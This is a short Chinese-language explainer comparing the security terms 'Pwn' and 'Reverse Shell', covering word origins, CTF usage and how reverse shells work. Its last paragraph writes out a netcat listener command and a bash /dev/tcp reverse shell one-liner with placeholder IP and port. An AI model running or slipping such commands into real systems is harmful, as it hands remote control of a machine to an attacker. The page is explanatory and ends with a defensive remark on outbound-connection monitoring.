PwnvsReverse Shell

Pwn

Pwn 源自「own」的拼写错误，在安全圈中表示成功攻破或控制了目标系统。CTF 中的 Pwn 题专指二进制漏洞利用类挑战。

Reverse Shell

Reverse Shell 让被攻击的主机主动向攻击者发起连接，绕过防火墙的入站限制。攻击者在自己机器上监听端口，目标执行 payload 后反连回来，获得命令行控制。

Pwn

• 源自游戏圈的拼写错误 own → pwn
• CTF 中 Pwn 特指二进制漏洞利用
• 「You've been pwned」= 你被黑了

Reverse Shell

• 目标主动连接攻击者，绕过入站防火墙
• 渗透测试获取交互式控制的标准方法
• Bash/Python/PowerShell 都能创建反向 Shell

Pwn

—

Reverse Shell

让目标主机主动向攻击者发起连接的反向命令行控制技术

Pwn

—

Reverse Shell

• 渗透测试中获取交互式控制
• RCE 漏洞利用后的权限维持
• 绕过入站防火墙限制

Pwn

Pwn 一词起源于网络游戏中「own」的键盘误打（p 和 o 相邻），后被黑客社区采用，表示完全控制了目标系统。在 CTF 竞赛中，Pwn 是一个专门的题目类别，要求选手利用二进制程序的内存漏洞（栈溢出、堆溢出、格式化字符串等）获取 shell。Have I Been Pwned 网站让这个词进入了大众视野——用户可以查询自己的邮箱是否在数据泄露中被「pwned」。

Reverse Shell

Reverse Shell 的原理：攻击者在公网 IP 上监听端口（如 nc -lvp 4444），目标主机执行 payload 后主动连接该端口，将 stdin/stdout 重定向到网络连接。常见 payload：bash -i >& /dev/tcp/IP/PORT 0>&1、Python socket 反连、PowerShell 反连。防御需要监控异常出站连接和进程行为。